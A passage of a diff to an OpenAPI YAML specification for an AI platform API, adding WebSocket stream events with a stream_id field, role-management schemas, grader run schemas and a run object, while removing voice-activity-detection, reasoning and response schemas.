+ - $ref: '#/components/schemas/ResponseTextDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseTextWsDone
+ description: Emitted when text content is finalized.
+ allOf:
+ - $ref: '#/components/schemas/ResponseTextDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseWebSearchCallWsCompleted
+ description: Emitted when a web search call is completed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseWebSearchCallCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseWebSearchCallInWsProgress
+ description: Emitted when a web search call is initiated.
+ allOf:
+ - $ref: '#/components/schemas/ResponseWebSearchCallInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseWebSearchCallWsSearching
+ description: Emitted when a web search call is executing.
+ allOf:
+ - $ref: '#/components/schemas/ResponseWebSearchCallSearchingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseImageGenCallWsCompleted
+ description: |
+ Emitted when an image generation tool call has completed and the final image is available.
+ allOf:
+ - $ref: '#/components/schemas/ResponseImageGenCallCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseImageGenCallWsGenerating
+ description: |
+ Emitted when an image generation tool call is actively generating an image (intermediate state).
+ allOf:
+ - $ref: '#/components/schemas/ResponseImageGenCallGeneratingEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseImageGenCallInWsProgress
description: |
- Configuration for turn detection, ether Server VAD or Semantic VAD. This can be set to `null` to turn off, in which case the client must manually trigger model response.
-
- Server VAD means that the model will detect the start and end of speech based on audio volume and respond at the end of user speech.
-
- Semantic VAD is more advanced and uses a turn detection model (in conjunction with VAD) to semantically estimate whether the user has finished speaking, then dynamically sets a timeout based on this probability. For example, if user audio trails off with "uhhm", the model will score a low probability of turn end and wait longer for the user to continue speaking. This can be useful for more natural conversations, but may have a higher latency.
-
- For `gpt-realtime-whisper` transcription sessions, turn detection must be
- set to `null`; VAD is not supported.
- discriminator:
- propertyName: type
- anyOf:
+ Emitted when an image generation tool call is in progress.
+ allOf:
+ - $ref: '#/components/schemas/ResponseImageGenCallInProgressEvent'
- type: object
- title: Server VAD
- description: Server-side voice activity detection (VAD) which flips on when user speech is detected and off after a period of silence.
- required:
- - type
properties:
- type:
+ stream_id:
type: string
- default: server_vad
- const: server_vad
description: |
- Type of turn detection, `server_vad` to turn on simple Server VAD.
- threshold:
- type: number
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseImageGenCallPartialWsImage
+ description: |
+ Emitted when a partial image is available during image generation streaming.
+ allOf:
+ - $ref: '#/components/schemas/ResponseImageGenCallPartialImageEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
description: |
- Used only for `server_vad` mode. Activation threshold for VAD (0.0 to 1.0), this defaults to 0.5. A
- higher threshold will require louder audio to activate the model, and
- thus might perform better in noisy environments.
- prefix_padding_ms:
- type: integer
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseMcpCallArgumentsWsDelta
+ description: |
+ Emitted when there is a delta (partial update) to the arguments of an MCP tool call.
+ allOf:
+ - $ref: '#/components/schemas/ResponseMCPCallArgumentsDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
description: |
- Used only for `server_vad` mode. Amount of audio to include before the VAD detected speech (in
- milliseconds). Defaults to 300ms.
- silence_duration_ms:
- type: integer
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseMcpCallArgumentsWsDone
+ description: |
+ Emitted when the arguments for an MCP tool call are finalized.
+ allOf:
+ - $ref: '#/components/schemas/ResponseMCPCallArgumentsDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
description: |
- Used only for `server_vad` mode. Duration of silence to detect speech stop (in milliseconds). Defaults
- to 500ms. With shorter values the model will respond more quickly,
- but may jump in on short pauses from the user.
- create_response:
- type: boolean
- default: true
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseMcpCallWsCompleted
+ description: |
+ Emitted when an MCP tool call has completed successfully.
+ allOf:
+ - $ref: '#/components/schemas/ResponseMCPCallCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
description: |
- Whether or not to automatically generate a response when a VAD stop event occurs. If `interrupt_response` is set to `false` this may fail to create a response if the model is already responding.
-
- If both `create_response` and `interrupt_response` are set to `false`, the model will never respond automatically but VAD events will still be emitted.
- interrupt_response:
- type: boolean
- default: true
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseMcpCallWsFailed
+ description: |
+ Emitted when an MCP tool call has failed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseMCPCallFailedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
description: |
- Whether or not to automatically interrupt (cancel) any ongoing response with output to the default
- conversation (i.e. `conversation` of `auto`) when a VAD start event occurs. If `true` then the response will be cancelled, otherwise it will continue until complete.
-
- If both `create_response` and `interrupt_response` are set to `false`, the model will never respond automatically but VAD events will still be emitted.
- idle_timeout_ms:
- anyOf:
- - type: integer
- minimum: 5000
- maximum: 30000
- description: |
- Optional timeout after which a model response will be triggered automatically. This is
- useful for situations in which a long pause from the user is unexpected, such as a phone
- call. The model will effectively prompt the user to continue the conversation based
- on the current context.
-
- The timeout value will be applied after the last model response's audio has finished playing,
- i.e. it's set to the `response.done` time plus audio playback duration.
-
- An `input_audio_buffer.timeout_triggered` event (plus events
- associated with the Response) will be emitted when the timeout is reached.
- Idle timeout is currently only supported for `server_vad` mode.
- - type: 'null'
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseMcpCallInWsProgress
+ description: |
+ Emitted when an MCP tool call is in progress.
+ allOf:
+ - $ref: '#/components/schemas/ResponseMCPCallInProgressEvent'
- type: object
- title: Semantic VAD
- description: Server-side semantic turn detection which uses a model to determine when the user has finished speaking.
- required:
- - type
properties:
- type:
+ stream_id:
type: string
- const: semantic_vad
description: |
- Type of turn detection, `semantic_vad` to turn on Semantic VAD.
- eagerness:
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseMcpListToolsWsCompleted
+ description: |
+ Emitted when the list of available MCP tools has been successfully retrieved.
+ allOf:
+ - $ref: '#/components/schemas/ResponseMCPListToolsCompletedEvent'
+ - type: object
+ properties:
+ stream_id:
type: string
- default: auto
- enum:
- - low
- - medium
- - high
- - auto
description: |
- Used only for `semantic_vad` mode. The eagerness of the model to respond. `low` will wait longer for the user to continue speaking, `high` will respond more quickly. `auto` is the default and is equivalent to `medium`. `low`, `medium`, and `high` have max timeouts of 8s, 4s, and 2s respectively.
- create_response:
- type: boolean
- default: true
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseMcpListToolsWsFailed
+ description: |
+ Emitted when the attempt to list available MCP tools has failed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseMCPListToolsFailedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
description: |
- Whether or not to automatically generate a response when a VAD stop event occurs.
- interrupt_response:
- type: boolean
- default: true
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseMcpListToolsInWsProgress
+ description: |
+ Emitted when the system is in the process of retrieving the list of available MCP tools.
+ allOf:
+ - $ref: '#/components/schemas/ResponseMCPListToolsInProgressEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
description: |
- Whether or not to automatically interrupt any ongoing response with output to the default
- conversation (i.e. `conversation` of `auto`) when a VAD start event occurs.
- - type: 'null'
- Reasoning:
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseOutputTextAnnotationWsAdded
+ description: |
+ Emitted when an annotation is added to output text content.
+ allOf:
+ - $ref: '#/components/schemas/ResponseOutputTextAnnotationAddedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseWsQueued
+ description: |
+ Emitted when a response is queued and waiting to be processed.
+ allOf:
+ - $ref: '#/components/schemas/ResponseQueuedEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseCustomToolCallInputWsDelta
+ description: |
+ Event representing a delta (partial update) to the input of a custom tool call.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCustomToolCallInputDeltaEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - title: ResponseCustomToolCallInputWsDone
+ description: |
+ Event indicating that input for a custom tool call is complete.
+ allOf:
+ - $ref: '#/components/schemas/ResponseCustomToolCallInputDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ - $ref: '#/components/schemas/ResponseWsError'
+ - $ref: '#/components/schemas/ResponseSteerAcceptedEvent'
+ - $ref: '#/components/schemas/ResponseSteerPendingEvent'
+ - $ref: '#/components/schemas/ResponseSteerFailedEvent'
+ ResponsesWebSocketStreamEvent:
+ allOf:
+ - anyOf:
+ - $ref: '#/components/schemas/ResponseAudioDeltaEvent'
+ - $ref: '#/components/schemas/ResponseAudioDoneEvent'
+ - $ref: '#/components/schemas/ResponseAudioTranscriptDeltaEvent'
+ - $ref: '#/components/schemas/ResponseAudioTranscriptDoneEvent'
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallCodeDeltaEvent'
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallCodeDoneEvent'
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallCompletedEvent'
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallInProgressEvent'
+ - $ref: '#/components/schemas/ResponseCodeInterpreterCallInterpretingEvent'
+ - $ref: '#/components/schemas/ResponseCompletedEvent'
+ - $ref: '#/components/schemas/ResponseContentPartAddedEvent'
+ - $ref: '#/components/schemas/ResponseContentPartDoneEvent'
+ - $ref: '#/components/schemas/ResponseCreatedEvent'
+ - $ref: '#/components/schemas/ResponseFileSearchCallCompletedEvent'
+ - $ref: '#/components/schemas/ResponseFileSearchCallInProgressEvent'
+ - $ref: '#/components/schemas/ResponseFileSearchCallSearchingEvent'
+ - $ref: '#/components/schemas/ResponseFunctionCallArgumentsDeltaEvent'
+ - $ref: '#/components/schemas/ResponseFunctionCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/ResponseShellCallCommandAddedStreamingEvent'
+ - $ref: '#/components/schemas/ResponseShellCallCommandDeltaStreamingEvent'
+ - $ref: '#/components/schemas/ResponseShellCallCommandDoneStreamingEvent'
+ - $ref: '#/components/schemas/ResponseShellCallOutputContentDeltaStreamingEvent'
+ x-stainless-skip:
+ - go
+ - $ref: '#/components/schemas/ResponseShellCallOutputContentDoneStreamingEvent'
+ - $ref: '#/components/schemas/ResponseInProgressEvent'
+ - $ref: '#/components/schemas/ResponseFailedEvent'
+ - $ref: '#/components/schemas/ResponseIncompleteEvent'
+ - $ref: '#/components/schemas/ResponseOutputItemAddedEvent'
+ - $ref: '#/components/schemas/ResponseOutputItemDoneEvent'
+ - $ref: '#/components/schemas/ResponseReasoningSummaryPartAddedEvent'
+ - $ref: '#/components/schemas/ResponseReasoningSummaryPartDoneEvent'
+ - $ref: '#/components/schemas/ResponseReasoningSummaryTextDeltaEvent'
+ - $ref: '#/components/schemas/ResponseReasoningSummaryTextDoneEvent'
+ - $ref: '#/components/schemas/ResponseReasoningTextDeltaEvent'
+ - $ref: '#/components/schemas/ResponseReasoningTextDoneEvent'
+ - $ref: '#/components/schemas/ResponseRefusalDeltaEvent'
+ - $ref: '#/components/schemas/ResponseRefusalDoneEvent'
+ - $ref: '#/components/schemas/ResponseTextDeltaEvent'
+ - $ref: '#/components/schemas/ResponseTextDoneEvent'
+ - $ref: '#/components/schemas/ResponseWebSearchCallCompletedEvent'
+ - $ref: '#/components/schemas/ResponseWebSearchCallInProgressEvent'
+ - $ref: '#/components/schemas/ResponseWebSearchCallSearchingEvent'
+ - $ref: '#/components/schemas/ResponseImageGenCallCompletedEvent'
+ - $ref: '#/components/schemas/ResponseImageGenCallGeneratingEvent'
+ - $ref: '#/components/schemas/ResponseImageGenCallInProgressEvent'
+ - $ref: '#/components/schemas/ResponseImageGenCallPartialImageEvent'
+ - $ref: '#/components/schemas/ResponseMCPCallArgumentsDeltaEvent'
+ - $ref: '#/components/schemas/ResponseMCPCallArgumentsDoneEvent'
+ - $ref: '#/components/schemas/ResponseMCPCallCompletedEvent'
+ - $ref: '#/components/schemas/ResponseMCPCallFailedEvent'
+ - $ref: '#/components/schemas/ResponseMCPCallInProgressEvent'
+ - $ref: '#/components/schemas/ResponseMCPListToolsCompletedEvent'
+ - $ref: '#/components/schemas/ResponseMCPListToolsFailedEvent'
+ - $ref: '#/components/schemas/ResponseMCPListToolsInProgressEvent'
+ - $ref: '#/components/schemas/ResponseOutputTextAnnotationAddedEvent'
+ - $ref: '#/components/schemas/ResponseQueuedEvent'
+ - $ref: '#/components/schemas/ResponseCustomToolCallInputDeltaEvent'
+ - $ref: '#/components/schemas/ResponseCustomToolCallInputDoneEvent'
+ - type: object
+ properties:
+ stream_id:
+ type: string
+ description: |
+ The WebSocket lane that emitted this event. This field is present
+ when the originating `response.create` event supplied a
+ `stream_id`.
+ Role:
type: object
- description: |
- Configuration options for
- [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
- title: Reasoning
+ description: Details about a role that can be assigned through the public Roles API.
properties:
- mode:
- $ref: '#/components/schemas/ReasoningModeEnum'
- description: |
- Controls the reasoning execution mode for the request.
-
- When returned on a response, this is the effective execution mode.
- effort:
- $ref: '#/components/schemas/ReasoningEffort'
- summary:
- anyOf:
- - type: string
- description: |
- A summary of the reasoning performed by the model. This can be
- useful for debugging and understanding the model's reasoning process.
- One of `auto`, `concise`, or `detailed`.
-
- `concise` is supported for `computer-use-preview` models and all reasoning models after `gpt-5`.
- enum:
- - auto
- - concise
- - detailed
- - type: 'null'
- context:
+ object:
+ type: string
+ enum:
+ - role
+ description: Always `role`.
+ x-stainless-const: true
+ id:
+ type: string
+ description: Identifier for the role.
+ name:
+ type: string
+ description: Unique name for the role.
+ description:
+ description: Optional description of the role.
anyOf:
- type: string
- description: |
- Controls which reasoning items are rendered back to the model on later turns.
- If omitted or set to `auto`, the model determines the context mode. The
- `gpt-5.6` model family defaults to `all_turns`; earlier models default to
- `current_turn`.
-
- When returned on a response, this is the effective reasoning context mode
- used for the response.
- enum:
- - auto
- - current_turn
- - all_turns
- type: 'null'
- generate_summary:
+ permissions:
+ type: array
+ description: Permissions granted by the role.
+ items:
+ type: string
+ resource_type:
+ type: string
+ description: Resource type the role is bound to (for example `api.organization` or `api.project`).
+ predefined_role:
+ type: boolean
+ description: Whether the role is predefined and managed by OpenAI.
+ required:
+ - object
+ - id
+ - name
+ - description
+ - permissions
+ - resource_type
+ - predefined_role
+ x-oaiMeta:
+ name: The role object
+ example: |
+ {
+ "object": "role",
+ "id": "role_01J1F8ROLE01",
+ "name": "API Group Manager",
+ "description": "Allows managing organization groups",
+ "permissions": [
+ "api.groups.read",
+ "api.groups.write"
+ ],
+ "resource_type": "api.organization",
+ "predefined_role": false
+ }
+ RoleDeletedResource:
+ type: object
+ description: Confirmation payload returned after deleting a role.
+ properties:
+ object:
+ type: string
+ enum:
+ - role.deleted
+ description: Always `role.deleted`.
+ x-stainless-const: true
+ id:
+ type: string
+ description: Identifier of the deleted role.
+ deleted:
+ type: boolean
+ description: Whether the role was deleted.
+ required:
+ - object
+ - id
+ - deleted
+ x-oaiMeta:
+ name: Role deletion confirmation
+ example: |
+ {
+ "object": "role.deleted",
+ "id": "role_01J1F8ROLE01",
+ "deleted": true
+ }
+ RoleListResource:
+ type: object
+ description: Paginated list of roles assigned to a principal.
+ properties:
+ object:
+ type: string
+ enum:
+ - list
+ description: Always `list`.
+ x-stainless-const: true
+ data:
+ type: array
+ description: Role assignments returned in the current page.
+ items:
+ $ref: '#/components/schemas/AssignedRoleDetails'
+ has_more:
+ type: boolean
+ description: Whether additional assignments are available when paginating.
+ next:
+ description: Cursor to fetch the next page of results, or `null` when there are no more assignments.
anyOf:
- type: string
- deprecated: true
- description: |
- **Deprecated:** use `summary` instead.
-
- A summary of the reasoning performed by the model. This can be
- useful for debugging and understanding the model's reasoning process.
- One of `auto`, `concise`, or `detailed`.
- enum:
- - auto
- - concise
- - detailed
- type: 'null'
- ReasoningEffort:
+ required:
+ - object
+ - data
+ - has_more
+ - next
+ x-oaiMeta:
+ name: Assigned role list
+ example: |
+ {
+ "object": "list",
+ "data": [
+ {
+ "id": "role_01J1F8ROLE01",
+ "name": "API Group Manager",
+ "permissions": [
+ "api.groups.read",
+ "api.groups.write"
+ ],
+ "resource_type": "api.organization",
+ "predefined_role": false,
+ "description": "Allows managing organization groups",
+ "created_at": 1711471533,
+ "updated_at": 1711472599,
+ "created_by": "user_abc123",
+ "created_by_user_obj": {
+ "id": "user_abc123",
+ "name": "Ada Lovelace",
+ "email": "ada@example.com"
+ },
+ "metadata": {},
+ "assignment_sources": null
+ }
+ ],
+ "has_more": false,
+ "next": null
+ }
+ RunCompletionUsage:
anyOf:
- - type: string
- enum:
- - none
- - minimal
- - low
- - medium
- - high
- - xhigh
- - max
- default: medium
- description: |
- Constrains effort on reasoning for reasoning models. Currently supported
- values are `none`, `minimal`, `low`, `medium`, `high`, `xhigh`, and `max`.
- Reducing reasoning effort can result in faster responses and fewer tokens
- used on reasoning in a response. Not all reasoning models support every
- value. See the
- [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning)
- for model-specific support.
+ - type: object
+ description: Usage statistics related to the run. This value will be `null` if the run is not in a terminal state (i.e. `in_progress`, `queued`, etc.).
+ properties:
+ completion_tokens:
+ type: integer
+ description: Number of completion tokens used over the course of the run.
+ prompt_tokens:
+ type: integer
+ description: Number of prompt tokens used over the course of the run.
+ total_tokens:
+ type: integer
+ description: Total number of tokens used (prompt + completion).
+ required:
+ - prompt_tokens
+ - completion_tokens
+ - total_tokens
- type: 'null'
- ReasoningItem:
+ RunGraderRequest:
type: object
- description: |
- A description of the chain of thought used by a reasoning model while generating
- a response. Be sure to include these items in your `input` to the Responses API
- for subsequent turns of a conversation if you are manually
- [managing context](https://developers.openai.com/api/docs/guides/conversation-state).
- title: Reasoning
+ title: RunGraderRequest
properties:
- type:
- type: string
- description: |
- The type of the object. Always `reasoning`.
- enum:
- - reasoning
- x-stainless-const: true
- id:
- type: string
- description: |
- The unique identifier of the reasoning content.
- encrypted_content:
+ grader:
+ type: object
+ description: The grader used for the fine-tuning job.
anyOf:
- - type: string
- description: |
- The encrypted content of the reasoning item. This is populated by default
- for reasoning items returned by `POST /v1/responses` and WebSocket
- `response.create` requests.
-
- When streaming, use the completed reasoning item and its
- `encrypted_content` from the `response.output_item.done` event in
- subsequent requests. The `encrypted_content` in
- `response.output_item.added` may be incomplete. This is especially
- important when `store` is `false` or when using Zero Data Retention.
- - type: 'null'
- summary:
- type: array
- description: |
- Reasoning summary content.
- items:
- $ref: '#/components/schemas/Summary'
- content:
- type: array
+ - $ref: '#/components/schemas/GraderStringCheck'
+ - $ref: '#/components/schemas/GraderTextSimilarity'
+ - $ref: '#/components/schemas/GraderPython'
+ - $ref: '#/components/schemas/GraderScoreModel'
+ - $ref: '#/components/schemas/GraderMulti'
+ discriminator:
+ propertyName: type
+ item:
+ type: object
description: |
- Reasoning text content.
- items:
- $ref: '#/components/schemas/ReasoningTextContent'
- status:
+ The dataset item provided to the grader. This will be used to populate
+ the `item` namespace. See [the guide](https://developers.openai.com/api/docs/guides/graders) for more details.
+ model_sample:
type: string
description: |
- The status of the item. One of `in_progress`, `completed`, or
- `incomplete`. Populated when items are returned via API.
- enum:
- - in_progress
- - completed
- - incomplete
+ The model sample to be evaluated. This value will be used to populate
+ the `sample` namespace. See [the guide](https://developers.openai.com/api/docs/guides/graders) for more details.
+ The `output_json` variable will be populated if the model sample is a
+ valid JSON string.
required:
- - id
- - summary
- - type
- Response:
- title: The response object
- allOf:
- - $ref: '#/components/schemas/ModelResponseProperties'
- - $ref: '#/components/schemas/ResponseProperties'
- - type: object
- properties:
- service_tier:
- $ref: '#/components/schemas/ServiceTierResponses'
- truncation:
- anyOf:
- - type: string
- description: |
- The truncation strategy to use for the model response.
- - `auto`: If the input to this Response exceeds
- the model's context window size, the model will truncate the
- response to fit the context window by dropping items from the beginning of the conversation.
- - `disabled` (default): If the input size will exceed the context window
- size for a model, the request will fail with a 400 error.
- enum:
- - auto
- - disabled
- default: disabled
- - type: 'null'
- id:
- type: string
- description: |
- Unique identifier for this Response.
- object:
- type: string
- description: |
- The object type of this resource - always set to `response`.
- enum:
- - response
- x-stainless-const: true
- status:
- type: string
- description: |
- The status of the response generation. One of `completed`, `failed`,
- `in_progress`, `cancelled`, `queued`, or `incomplete`.
- enum:
- - completed
- - failed
- - in_progress
- - cancelled
- - queued
- - incomplete
- created_at:
- type: number
- format: unixtime
- description: |
- Unix timestamp (in seconds) of when this Response was created.
- completed_at:
- anyOf:
- - type: number
- format: unixtime
- description: |
- Unix timestamp (in seconds) of when this Response was completed.
- Only present when the status is `completed`.
- - type: 'null'
- error:
- $ref: '#/components/schemas/ResponseError'
- incomplete_details:
- anyOf:
- - type: object
- description: |
- Details about why the response is incomplete.
+ - grader
+ - model_sample
+ RunGraderResponse:
+ type: object
+ properties:
+ reward:
+ type: number
+ metadata:
+ type: object
+ properties:
+ name:
+ type: string
+ type:
+ type: string
+ errors:
+ type: object
properties:
- reason:
- type: string
- description: |
- The reason why the response is incomplete. `steered` means
- the response stopped at a safe output boundary after a
- WebSocket `response.steer` event. The server can then create
- a successor response automatically with the queued input.
- enum:
- - max_output_tokens
- - max_messages
- - content_filter
- - steered
- - type: 'null'
- output:
- type: array
- description: |
- An array of content items generated by the model.
-
- - The length and order of items in the `output` array is dependent
- on the model's response.
- - Rather than accessing the first item in the `output` array and
- assuming it's an `assistant` message with the content generated by
- the model, you might consider using the `output_text` property where
- supported in SDKs.
- items:
- $ref: '#/components/schemas/OutputItem'
- reasoning:
- anyOf:
- - $ref: '#/components/schemas/Reasoning'
- - type: 'null'
- instructions:
- anyOf:
- - description: |
- A system (or developer) message inserted into the model's context.
-
- When using along with `previous_response_id`, the instructions from a previous
- response will not be carried over to the next response. This makes it simple
- to swap out system (or developer) messages in new responses.
+ formula_parse_error:
+ type: boolean
+ sample_parse_error:
+ type: boolean
+ truncated_observation_error:
+ type: boolean
+ unresponsive_reward_error:
+ type: boolean
+ invalid_variable_error:
+ type: boolean
+ other_error:
+ type: boolean
+ python_grader_server_error:
+ type: boolean
+ python_grader_server_error_type:
+ anyOf:
+ - type: string
+ - type: 'null'
+ python_grader_runtime_error:
+ type: boolean
+ python_grader_runtime_error_details:
+ anyOf:
+ - type: string
+ - type: 'null'
+ model_grader_server_error:
+ type: boolean
+ model_grader_refusal_error:
+ type: boolean
+ model_grader_parse_error:
+ type: boolean
+ model_grader_server_error_details:
+ anyOf:
+ - type: string
+ - type: 'null'
+ required:
+ - formula_parse_error
+ - sample_parse_error
+ - truncated_observation_error
+ - unresponsive_reward_error
+ - invalid_variable_error
+ - other_error
+ - python_grader_server_error
+ - python_grader_server_error_type
+ - python_grader_runtime_error
+ - python_grader_runtime_error_details
+ - model_grader_server_error
+ - model_grader_refusal_error
+ - model_grader_parse_error
+ - model_grader_server_error_details
+ execution_time:
+ type: number
+ scores:
+ type: object
+ additionalProperties: {}
+ token_usage:
+ anyOf:
+ - type: integer
+ - type: 'null'
+ sampled_model_name:
anyOf:
- type: string
- description: |
- A text input to the model, equivalent to a text input with the
- `developer` role.
- - type: array
- title: Input item list
- description: |
- A list of one or many input items to the model, containing
- different content types.
- items:
- $ref: '#/components/schemas/InputItem'
- - type: 'null'
- output_text:
- anyOf:
- - type: string
- description: |
- SDK-only convenience property that contains the aggregated text output
- from all `output_text` items in the `output` array, if any are present.
- Supported in the Python and JavaScript SDKs.
- x-oaiSupportedSDKs:
- - python
- - javascript
- - type: 'null'
- x-stainless-skip: true
- usage:
- $ref: '#/components/schemas/ResponseUsage'
- prompt_cache_options:
- $ref: '#/components/schemas/PromptCacheOptions'
- prompt_cache_diagnostics:
- $ref: '#/components/schemas/PromptCacheDiagnostics'
- moderation:
- anyOf:
- - $ref: '#/components/schemas/Moderation'
- description: |
- Moderation results for the response input and output, if moderated completions were requested.
- - type: 'null'
- parallel_tool_calls:
- type: boolean
- description: |
- Whether to allow the model to run tool calls in parallel.
- default: true
- conversation:
- anyOf:
- - $ref: '#/components/schemas/ResponseConversation'
- - type: 'null'
- max_output_tokens:
- anyOf:
- - description: |
- An upper bound for the number of tokens that can be generated for a response, including visible output tokens and [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
- type: integer
- - type: 'null'
- required:
- - id
- - object
- - created_at
- - error
- - incomplete_details
- - instructions
- - model
- - tools
- - output
- - parallel_tool_calls
- - metadata
- - tool_choice
- - temperature
- - top_p
- ResponseAudioDeltaEvent:
+ - type: 'null'
+ required:
+ - name
+ - type
+ - errors
+ - execution_time
+ - scores
+ - token_usage
+ - sampled_model_name
+ sub_rewards:
+ type: object
+ additionalProperties: {}
+ model_grader_token_usage_per_model:
+ type: object
+ additionalProperties: {}
+ required:
+ - reward
+ - metadata
+ - sub_rewards
+ - model_grader_token_usage_per_model
+ RunObject:
type: object
- description: Emitted when there is a partial audio response.
+ title: A run on a thread
+ description: Represents an execution run on a [thread](https://developers.openai.com/api/docs/assistants/migration).
properties:
- type:
+ id:
+ description: The identifier, which can be referenced in API endpoints.
+ type: string
+ object:
+ description: The object type, which is always `thread.run`.
type: string
- description: |
- The type of the event. Always `response.audio.delta`.
enum:
- - response.audio.delta
+ - thread.run
x-stainless-const: true
- sequence_number:
+ created_at:
+ description: The Unix timestamp (in seconds) for when the run was created.
type: integer
- description: |
- A sequence number for this chunk of the stream response.
- delta:
+ format: unixtime
+ thread_id:
+ description: The ID of the [thread](https://developers.openai.com/api/docs/assistants/migration) that was executed on as a part of this run.
type: string
- description: |
- A chunk of Base64 encoded response audio bytes.
- required:
- - type
- - delta
- - sequence_number
- x-oaiMeta:
- name: response.audio.delta
- group: responses
- example: |
- {
- "type": "response.audio.delta",
- "response_id": "resp_123",
- "delta": "base64encoded...",
- "sequence_number": 1
- }
- ResponseAudioDoneEvent:
- type: object
- description: Emitted when the audio response is complete.
- properties:
- type:
+ assistant_id:
+ description: The ID of the [assistant](https://developers.openai.com/api/docs/assistants/migration) used for execution of this run.
+ type: string
+ status:
+ $ref: '#/components/schemas/RunStatus'
+ description: The status of the run, which can be either `queued`, `in_progress`, `requires_action`, `cancelling`, `cancelled`, `failed`, `completed`, `incomplete`, or `expired`.
+ required_action:
+ type: object
+ description: Details on the action required to continue the run. Will be `null` if no action is required.
+ nullable: true
+ properties:
+ type:
+ description: For now, this is always `submit_tool_outputs`.
+ type: string
+ enum:
+ - submit_tool_outputs
+ x-stainless-const: true
+ submit_tool_outputs:
+ type: object
+ description: Details on the tool outputs needed for this run to continue.
+ properties:
+ tool_calls:
+ type: array
+ description: A list of the relevant tool calls.
+ items:
+ $ref: '#/components/schemas/RunToolCallObject'
+ required:
+ - tool_calls
+ required:
+ - type
+ - submit_tool_outputs
+ last_error:
+ type: object
+ description: The last error associated with this run. Will be `null` if there are no errors.
+ nullable: true
+ properties:
+ code:
+ type: string
+ description: One of `server_error`, `rate_limit_exceeded`, or `invalid_prompt`.
+ enum:
+ - server_error
+ - rate_limit_exceeded
+ - invalid_prompt
+ message:
+ type: string
+ description: A human-readable description of the error.
+ required:
+ - code
+ - message
+ expires_at:
+ description: The Unix timestamp (in seconds) for when the run will expire.
+ type: integer
+ format: unixtime
+ nullable: true
+ started_at:
+ description: The Unix timestamp (in seconds) for when the run was started.
+ type: integer
+ format: unixtime
+ nullable: true
+ cancelled_at:
+ description: The Unix timestamp (in seconds) for when the run was cancelled.
+ type: integer
+ format: unixtime
+ nullable: true
+ failed_at:
+ description: The Unix timestamp (in seconds) for when the run failed.
+ type: integer
+ format: unixtime
+ nullable: true
+ completed_at:
+ description: The Unix timestamp (in seconds) for when the run was completed.
+ type: integer
+ format: unixtime
+ nullable: true
+ incomplete_details:
